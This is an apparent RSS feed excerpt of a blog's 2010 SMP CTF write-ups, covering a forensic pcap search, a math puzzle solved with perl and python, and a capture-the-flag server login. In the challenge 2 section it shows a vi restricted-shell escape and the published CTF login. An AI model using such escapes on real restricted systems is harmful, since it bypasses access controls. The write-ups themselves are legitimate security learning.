joe/.gnome2/keyrings/login.keyring<br />
joe/.gnome2/panel2.d/<br />
joe/.gnome2/panel2.d/default/<br />
joe/.gnome2/panel2.d/default/launchers/<br />
joe/.openoffice.org/<br />
joe/.openoffice.org/3/<br />
joe/.openoffice.org/3/user/<br />
joe/.openoffice.org/3/user/wordbook/<br />
joe/.openoffice.org/3/user/temp/<br />
joe/.openoffice.org/3/user/Scripts/<br />
joe/.openoffice.org/3/user/uno_packages/<br />
joe/.openoffice.org/3/user/uno_packages/cache/<br />
joe/.openoffice.org/3/user/uno_packages/cache/uno_packages/<br />
joe/.openoffice.org/3/user/uno_packages/cache/uno_packages.db<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.executable.PackageRegistryBackend/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.help.PackageRegistryBackend/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.configuration.PackageRegistryBackend/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.configuration.PackageRegistryBackend/registry/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.configuration.PackageRegistryBackend/registered_packages.db<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.sfwk.PackageRegistryBackend/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.script.PackageRegistryBackend/<br />
joe/.openoffice.org/3/user/uno_packages/cache/registry/com.sun.star.comp.deployment.component.PackageRegistryBackend/<br />
joe/.openoffice.org/3/user/uno_packages/cache/stamp.sys<br />
joe/.openoffice.org/3/user/uno_packages/cache/log.txt<br />
joe/.openoffice.org/3/user/basic/<br />
joe/.openoffice.org/3/user/basic/dialog.xlc<br />
joe/.openoffice.org/3/user/basic/Standard/<br />
joe/.openoffice.org/3/user/basic/Standard/dialog.xlb<br />
joe/.openoffice.org/3/user/basic/Standard/script.xlb<br />
joe/.openoffice.org/3/user/basic/Standard/Module1.xba<br />
joe/.openoffice.org/3/user/basic/script.xlc<br />
joe/.openoffice.org/3/user/autotext/<br />
joe/.openoffice.org/3/user/autotext/mytexts.bau<br />
joe/.openoffice.org/3/user/registry/<br />
joe/.openoffice.org/3/user/registry/cache/<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.Types.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Paths.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Commands.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Recovery.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Common.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Jobs.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.GraphicFilter.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Linguistic.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Substitution.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.ucb.Configuration.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Writer.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.WriterWindowState.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.UISort.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.TabBrowse.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.LDAP.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.WriterCommands.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.WriterWeb.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.System.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Views.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.Filter.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.ucb.Store.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.GenericCommands.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Addons.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.Misc.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.VCL.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.DataAccess.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.SFX.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.TypeDetection.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.UserProfile.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.Factories.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Accelerators.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Logging.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.Controller.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.ProtocolHandler.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Events.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Setup.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Compatibility.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.UI.GlobalSettings.dat<br />
joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Histories.dat<br />
joe/.openoffice.org/3/user/registry/data/<br />
joe/.openoffice.org/3/user/registry/data/org/<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/Histories.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/Recovery.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/Common.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/Views.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/Writer.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/UI/<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/UI/WriterWindowState.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Office/Linguistic.xcu<br />
joe/.openoffice.org/3/user/registry/data/org/openoffice/Setup.xcu<br />
joe/.openoffice.org/3/user/config/<br />
joe/.openoffice.org/3/user/config/javasettings_Linux_x86.xml<br />
joe/.openoffice.org/3/user/config/modern_en-GB.sog<br />
joe/.openoffice.org/3/user/config/autotbl.fmt<br />
joe/.openoffice.org/3/user/config/cmyk.soc<br />
joe/.openoffice.org/3/user/config/palette_en-GB.soc<br />
joe/.openoffice.org/3/user/config/standard.soc<br />
joe/.openoffice.org/3/user/config/soffice.cfg/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/swriter/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/swriter/toolbar/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/swriter/images/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/swriter/images/Bitmaps/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/swriter/menubar/<br />
joe/.openoffice.org/3/user/config/soffice.cfg/modules/swriter/statusbar/<br />
joe/.openoffice.org/3/user/config/hatching_en-US_en-ZA.soh<br />
joe/.openoffice.org/3/user/config/standard.sod<br />
joe/.openoffice.org/3/user/config/palette_en-US_en-ZA.soc<br />
joe/.openoffice.org/3/user/config/html.soc<br />
joe/.openoffice.org/3/user/config/arrowhd_en-GB.soe<br />
joe/.openoffice.org/3/user/config/web.soc<br />
joe/.openoffice.org/3/user/config/hatching_en-GB.soh<br />
joe/.openoffice.org/3/user/config/standard.sob<br />
joe/.openoffice.org/3/user/config/modern_en-US_en-ZA.sog<br />
joe/.openoffice.org/3/user/config/standard.soh<br />
joe/.openoffice.org/3/user/config/palette_en-US.soc<br />
joe/.openoffice.org/3/user/config/modern_en-US.sog<br />
joe/.openoffice.org/3/user/config/hatching_en-US.soh<br />
joe/.openoffice.org/3/user/config/standard.sog<br />
joe/.openoffice.org/3/user/config/classic_en-GB.sog<br />
joe/.openoffice.org/3/user/config/styles_en-US.sod<br />
joe/.openoffice.org/3/user/config/arrowhd_en-US_en-ZA.soe<br />
joe/.openoffice.org/3/user/config/classic_en-US.sog<br />
joe/.openoffice.org/3/user/config/classic_en-US_en-ZA.sog<br />
joe/.openoffice.org/3/user/config/gallery.soc<br />
joe/.openoffice.org/3/user/config/standard.soe<br />
joe/.openoffice.org/3/user/config/arrowhd_en-US.soe<br />
joe/.openoffice.org/3/user/config/sun-color.soc<br />
joe/.openoffice.org/3/user/config/styles_en-US_en-ZA.sod<br />
joe/.openoffice.org/3/user/config/styles_en-GB.sod<br />
joe/.openoffice.org/3/user/backup/<br />
joe/.openoffice.org/3/user/template/<br />
joe/.openoffice.org/3/user/psprint/<br />
joe/.openoffice.org/3/user/psprint/driver/<br />
joe/.openoffice.org/3/user/psprint/fontmetric/<br />
joe/.openoffice.org/3/user/psprint/pspfontcache<br />
joe/.openoffice.org/3/user/autocorr/<br />
joe/.openoffice.org/3/user/gallery/<br />
joe/.openoffice.org/3/user/gallery/sg30.thm<br />
joe/.openoffice.org/3/user/gallery/sg30.sdv<br />
joe/.openoffice.org/3/user/gallery/sg100.sdv<br />
joe/.openoffice.org/3/user/gallery/sg100.thm<br />
joe/.openoffice.org/3/user/database/<br />
joe/.openoffice.org/3/user/database/evolocal.odb<br />
joe/.openoffice.org/3/user/database/biblio.odb<br />
joe/.openoffice.org/3/user/database/biblio/<br />
joe/.openoffice.org/3/user/database/biblio/biblio.dbf<br />
joe/.openoffice.org/3/user/database/biblio/biblio.dbt<br />
joe/.openoffice.org/3/user/store/<br />
joe/Documents/<br />
joe/Documents/cryptoD.gpg<br />
joe/Documents/.hiddenDocuments/<br />
joe/Documents/.hiddenDocuments/SuperSecret.odt<br />
joe/gppg-stuff.txt<br />
joe/.thumbnails/<br />
joe/.thumbnails/normal/<br />
joe/.thumbnails/normal/95e207e441e8b3e27f8e31ad31500fee.png<br />
joe/.viminfo<br />
joe/.gnome2_private/<br />
joe/.gimp-2.6/<br />
joe/.gimp-2.6/scripts/<br />
joe/.gimp-2.6/themes/<br />
joe/.gimp-2.6/sessionrc<br />
joe/.gimp-2.6/levels/<br />
joe/.gimp-2.6/brushes/<br />
joe/.gimp-2.6/patterns/<br />
joe/.gimp-2.6/curves/<br />
joe/.gimp-2.6/gfig/<br />
joe/.gimp-2.6/colorrc<br />
joe/.gimp-2.6/controllerrc<br />
joe/.gimp-2.6/templaterc<br />
joe/.gimp-2.6/fractalexplorer/<br />
joe/.gimp-2.6/tmp/<br />
joe/.gimp-2.6/pluginrc<br />
joe/.gimp-2.6/fonts/<br />
joe/.gimp-2.6/parasiterc<br />
joe/.gimp-2.6/modules/<br />
joe/.gimp-2.6/plug-ins/<br />
joe/.gimp-2.6/tool-options/<br />
joe/.gimp-2.6/themerc<br />
joe/.gimp-2.6/menurc<br />
joe/.gimp-2.6/interpreters/<br />
joe/.gimp-2.6/toolrc<br />
joe/.gimp-2.6/gtkrc<br />
joe/.gimp-2.6/environ/<br />
joe/.gimp-2.6/gradients/<br />
joe/.gimp-2.6/gimpressionist/<br />
joe/.gimp-2.6/palettes/<br />
joe/.gimp-2.6/dockrc<br />
joe/.gimp-2.6/unitrc<br />
joe/.gimp-2.6/gflare/<br />
joe/.gimp-2.6/templates/<br />
joe/.update-notifier/<br />
joe/scans/<br />
joe/scans/localhost.scan<br />
joe/Videos/<br />
joe/.gconfd/<br />
joe/.gconfd/saved_state<br />
joe/.recently-used.xbel<br />
joe/.adobe/<br />
joe/.adobe/Flash_Player/<br />
joe/.adobe/Flash_Player/AssetCache/<br />
joe/.adobe/Flash_Player/AssetCache/SZK5XWWC/<br />
joe/.secrets<br />
joe/Templates/<br />
joe/.bash_logout<br />
joe/.local/<br />
joe/.local/share/<br />
joe/.local/share/gvfs-metadata/<br />
joe/.local/share/gvfs-metadata/home-dbd603fd.log<br />
joe/.local/share/gvfs-metadata/home<br />
joe/.blueproximity/<br />
joe/.blueproximity/standard.conf<br />
joe/.gstreamer-0.10/<br />
joe/.gstreamer-0.10/registry.i486.bin<br />
</code><code><br />
[zoidberg@/dev/null:~/FORENSICS ] $<br />
</code><br />
Oh wow, what do we have here.  Looks like we have someone called joe&#8217;s home directory <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />   Now my instant thought was to grep for something similar to what we have seen in other flags, which was the string &#8216;Flag:&#8217;  so I performed a grep on the joe directory for &#8216;Flag&#8217;:<br />
<code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $ grep -R 'Flag' joe/<br />
Binary file joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Writer.dat matches<br />
Binary file joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.GraphicFilter.dat matches<br />
Binary file joe/.openoffice.org/3/user/registry/cache/org.openoffice.Office.Common.dat matches<br />
Binary file joe/.openoffice.org/3/user/registry/cache/org.openoffice.TypeDetection.Filter.dat matches<br />
Binary file joe/network_sniff.pcap matches<br />
Binary file joe/.mozilla/firefox/ji5h5a20.default/Cache/47445552d01 matches<br />
Binary file joe/.mozilla/firefox/ji5h5a20.default/Cache/_CACHE_003_ matches<br />
Binary file joe/Downloads/hackerFiles/ntfs-hidden-data-analysis.pdf matches<br />
grep: joe/.pulse/9588dbce1fca58830d10168a4aba6077-runtime: No such file or directory<br />
joe/.gimp-2.6/pluginrc:        (proc-arg 0 "at-top" "Flag for drawing numbers at top of film")<br />
joe/.gimp-2.6/pluginrc:        (proc-arg 0 "at-bottom" "Flag for drawing numbers at bottom of film")<br />
</code><code><br />
[zoidberg@/dev/null:~/SMP/CH4 ] $<br />
</code><br />
Which narrowed it down to the above files.. the only thing that stood out there was &#8220;Binary file joe/network_sniff.pcap matches&#8221;.  I proceeded to open the packet up in wireshark.  I then did a search on the string &#8216;File&#8217; which turned up:<br />
<code><br />
2290	532.914137	192.168.15.132	74.52.142.122	HTTP	GET /flagg.jpg HTTP/1.1<br />
</code><br />
I hit follow TCP stream on the above packet and got the following GET request and response:</p>
<pre>
GET /flagg.jpg HTTP/1.1

Host: www.penfest.ca

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

HTTP/1.1 200 OK

Date: Wed, 30 Jun 2010 01:05:16 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Last-Modified: Wed, 30 Jun 2010 01:04:26 GMT

ETag: "46cc02b-94a5-48a34ef62ba80"

Accept-Ranges: bytes

Content-Length: 38053

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/jpeg

......JFIF.....H.H.....4This is your Flag: Seeing is not always

*** I have cut it short as the rest is random characters ***
</pre>
<p>BINGO! There you have the flag:<br />
<code><br />
This is your Flag: Seeing is not always<br />
</code><br />
I thought this challenge was awesome, I guess thats because I have never done a forensic challenge before, it has definatley wet my appitite! Until the next time&#8230; </p>
<p></code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/292/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/292/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/292/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=292&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/14/challenge-4-write-up-smp-ctf-2010-hacker-olympics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Challenge 1 &amp; 2 Write-Up &#8211; SMP CTF 2010 Hacker Olympics&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/13/challenge-1-write-up-smp-ctf-2010-hacker-olympics/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/07/13/challenge-1-write-up-smp-ctf-2010-hacker-olympics/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 19:45:34 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[SMP CTF]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=271</guid>
		<description><![CDATA[Hey, This is the first of many write-up&#8217;s to come from SMP CTF that happened over the weekend. Challenge 1, which was worth 200 points consisted of the following: Set S = 1 Set P = 1 Set previous answer = 1 answer = S * P + previous answer + R R = 39 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=271&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>This is the first of many write-up&#8217;s to come from SMP CTF that happened over the weekend.  Challenge 1, which was worth 200 points consisted of the following:<br />
<code><br />
Set S = 1<br />
Set P = 1<br />
Set previous answer = 1<br />
</code><code><br />
answer = S * P + previous answer + R<br />
R = 39<br />
</code><code><br />
After this =&gt; S + 1 and P + 1 ('answer' becomes 'previous answer') + 39<br />
then repeat this till you have S = 11065.<br />
</code><code><br />
The final key will be the value of 'answer' when S = 11065.<br />
</code><code><br />
Example:<br />
So if R = 15..<br />
</code><code><br />
17 = 1 * 1 + 1 + 15<br />
36 = 2 * 2 + 17 + 15<br />
60 = 3 * 3 + 36 + 15<br />
</code><br />
<code><br />
Submit the correct answer and you will receive a flag. Have fun ;D<br />
</code><br />
Looking at the source page to this challenge we find a hidden hint:<br />
<code><br />
!--VGhlIHZhbHVlcyBvZiBTIGFuZCBSIGNoYW5nZSBldmVyeSA1IG1pbnV0ZXMgb3Igc28gaGVoZSA7--<br />
</code><br />
This looks awfully like base64, lets see&#8230;<br />
<code><br />
[zoidberg@/dev/null:~ ] $ echo VGhlIHZhbHVlcyBvZiBTIGFuZCBSIGNoYW5nZSBldmVyeSA1IG1pbnV0ZXMgb3Igc28gaGVoZSA7 | base64 -d<br />
The values of S and R change every 5 minutes or so hehe ;<br />
[zoidberg@/dev/null:~ ] $<br />
</code><br />
So moving on, this is a pretty straight forward math problem that we can easily translate into some perl / python code to work it out for us <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />   </p>
<p>Our team member Nex, was the person to complete this challenge, he came up with the following perl one liner:<br />
<code><br />
perl -e 'my $pan=1; for (my $a=1;$a&lt;=11065;$a++) { $ans=$a*$a+$pan+39; $pan=$ans; } print &quot;$ans\n&quot;;&#039;<br />
</code><br />
Which pretty much translates to the math problem above, just broken down and put into code.   When we run this piece of code, we get the following answer:<br />
<code><br />
451639883701<br />
</code><br />
Which when you submitted it, gave you the following:<br />
<code><br />
Challenge ID: 36b1c546<br />
Flag: WaSThAtFunORwhaT?!?xxxxxx<br />
</code><br />
Yay so we completed that level.  I wrote my own code in python for this challenge which consisted of the following:<br />
<code><br />
&gt;&gt;&gt; p_ans = 1<br />
&gt;&gt;&gt; val = 11065<br />
&gt;&gt;&gt; a = 1<br />
&gt;&gt;&gt; r = 39<br />
&gt;&gt;&gt; for i in range(a, val+1):<br />
...     answer = i * i + p_ans + r<br />
...     p_ans = answer<br />
...<br />
&gt;&gt;&gt; print answer<br />
451639883701<br />
&gt;&gt;&gt;<br />
</code><br />
So that is how we beat Challenge 1.  I won&#8217;t be writing a write-up for Challenge 2, I will briefly explain it now as it was such a simple challenge.  So, this is what we got for challenge 2 (which was for 100 points):<br />
<code><br />
Where's waldo?<br />
</code><code><br />
ssh -l luser gordo.smpctf.com -p 2282 Password: smpctf<br />
</code><code><br />
Help find waldo..<br />
</code><br />
Upon logging into the server the users shell must of been set to /usr/bin/vi because we were presented with a vi terminal instead of a shell.  This is quite a common trick and can be evaded simply by typing the following:<br />
<code><br />
:set shell=/bin/sh<br />
:sh<br />
</code><br />
This will then drop you to a /bin/sh shell and you can proceed to find waldo any method you wish <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>We simply issued a few find / grep commands and found waldo hiding in a dot file under the /usr directory.  If my memory serves me correctly it was as simple as this:<br />
<code><br />
find /usr -name smp<br />
</code><br />
This then gave us the following location:<br />
<code><br />
/usr/lib/.flag/smp<br />
</code><br />
Looking at the file &#8216;smp&#8217; in the .flag directory we seemed to have found waldo <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
<code><br />
Challenge Key: cfc6adcc<br />
Flag: HAHAHAHAHAHAHHAHAponies<br />
</code><br />
Anyway, lookout for the next write-up which will be for Challenge 3 &#8211; the most craziest challenge there was I think <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/271/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/271/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/271/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=271&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/13/challenge-1-write-up-smp-ctf-2010-hacker-olympics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>SMP CTF &#8211; 2010 Hacker Olympics &#8211; We Made It To The Finals&#8230;</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/12/smp-ctf-we-made-it-to-the-finals/</link>
		<comments>http://0xzoidberg.wordpress.com/2010/07/12/smp-ctf-we-made-it-to-the-finals/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 19:57:27 +0000</pubDate>
		<dc:creator>0xzoidberg</dc:creator>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[SMP CTF]]></category>

		<guid isPermaLink="false">http://0xzoidberg.wordpress.com/?p=264</guid>
		<description><![CDATA[Hey all, So this weekend was host to the &#8220;Spider Monkey Phenomenon&#8221; Capture The Flag (SMP CTF), held by redsand and magikh0e of Bl4ack Security. This was the first ever CTF that I have entered. I put together a team which composed of members from the Smash The Stack IRC network. We did really well [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=264&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hey all, </p>
<p>So this weekend was host to the &#8220;Spider Monkey Phenomenon&#8221; Capture The Flag (<a href="http://www.smpctf.com">SMP CTF</a>), held by redsand and magikh0e of <a href="http://blacksecurity.org">Bl4ack Security</a>.  This was the first ever CTF that I have entered.  I put together a team which composed of members from the <a href="http://www.smashthestack.org">Smash The Stack</a> IRC network.  We did really well and managed to get through to the finals at 4th place.  The official score board looked like this after the final scores were counted:<br />
<code><br />
1       Nibbles (5747.5)<br />
2       Plaid Parliament of Pwning (5261)<br />
3       n0psl3d (5231)<br />
4       StS (4840)<br />
5       lulzteam (4718.5)<br />
6       Smoked Chicken (4365.75)<br />
7       int3pids (3960.25)<br />
8       0x28 Thieves (3785)<br />
</code><br />
I am very happy with how the team worked and am looking forward to the finals.  I will be writing up each challenge that we completed and hopefully the ones that were not released due to time and the couple we missed also due to time.  So watch this space <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0xzoidberg.wordpress.com/264/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0xzoidberg.wordpress.com/264/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/0xzoidberg.wordpress.com/264/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/0xzoidberg.wordpress.com/264/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0xzoidberg.wordpress.com/264/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0xzoidberg.wordpress.com/264/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0xzoidberg.wordpress.com/264/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0xzoidberg.wordpress.com/264/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0xzoidberg.wordpress.com&amp;blog=12742972&amp;post=264&amp;subd=0xzoidberg&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://0xzoidberg.wordpress.com/2010/07/12/smp-ctf-we-made-it-to-the-finals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5eefcbdf5b769c4333d09d027fdfcd98?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">0xzoidberg</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking a Casino!!</title>
		<link>http://0xzoidberg.wordpress.com/2010/07/04/hacking-a-casino/</link>
